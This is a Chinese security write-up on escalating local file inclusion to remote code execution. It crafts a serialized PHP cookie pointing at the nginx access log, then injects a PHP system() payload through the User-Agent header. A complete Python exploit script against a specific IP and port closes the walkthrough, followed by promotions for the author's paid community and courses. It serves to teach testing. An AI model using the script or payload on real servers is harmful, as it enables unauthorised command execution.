由本地文件包含所引起的RCE
2023-11-23 19:52:18 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

发现端倪

在某个网络应用程序上进行长达数小时的信息收集及‘侦查’后,发现一处Cookie有些异常。

PHPSESSID — PHPSESSID Cookie是PHP原生的,它使网站能够存储序列化的状态数据。它用于建立用户会话并通过临时cookie传递状态数据,通常称为会话cookie(在关闭浏览器时过期)。通常以Base64编码。

提示:尽量尝试解码一切可以解码的东西

可以使用在线网站,如base64decode.org进行解码:

也可通过Python解码:

为什么s=15?那是因为/www/index.html 的长度刚好是15

LFI漏洞

什么是LFI?

Local File Inclusion(本地文件包含)是一种攻击技术,攻击者可以欺骗Web应用程序在Web服务器上运行或暴露文件。LFI攻击可能会暴露敏感信息,在严重的情况下,它们可能会导致跨站点脚本(XSS)和远程代码执行。

如果用/etc/passwd替换/www/index.html后会发生什么?

通过python将修改后的Cookie发送,看看结果:

也可以通过Burp来修改Cookie:

还有一种方式是更改网站上的cookie:

从LFI升级至RCE

远程代码执行(RCE)攻击允许攻击者在计算机上远程执行恶意代码。RCE漏洞的影响范围可以从恶意软件执行到攻击者获得对受害机器的完全控制。

从LFI漏洞升级到RCE的最简单方法是日志‘投毒’

日志投毒或日志注入是一种允许攻击者篡改日志文件内容的技术,例如将恶意代码插入服务器日志以远程执行命令或反弹Shell。只有当应用程序存在LFI漏洞时,它才有效。

在本案例中由于无法获取反弹Shell,因此只能尝试使用 "ls -lsa"-"ls -l" 列出目录。

LFI漏洞只允许读取/执行文件,而无法写入或创建新文件,那么我们要如何注入呢?可以考虑把日志添加到服务器文件中。

下面主要思路就是将日志添加到服务器文件中

首先,我们需要知道服务器是哪种类型:

Nginx!那么日志一般会存放于/var/log/nginx/access.log

同样使用使用Python脚本来尝试访问日志文件:

很好!那么让我们看看是否可以通过使用“User-Agent”来添加日志。

在python脚本中,添加如下内容:

headers = {'User-Agent': 'Facundo Fernandez'}

在日志中发现如下信息:

尝试改成:

headers = {'User-Agent': "<?php system('ls -lsa');?>"

发现代码成功执行!

完整代码如下:

import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.

# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.

# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.

# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"}

# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

xss研究笔记

SSRF研究笔记

dom-xss精选文章

2022年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247492750&idx=1&sn=88728aa49441495c5e1546ed3779686a&chksm=e8a5eeeddfd267fbc68b402fc19c6a9aa3f3524b72b9bf5e772b9c8f8a1a2a2d01d3bb2d5717&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh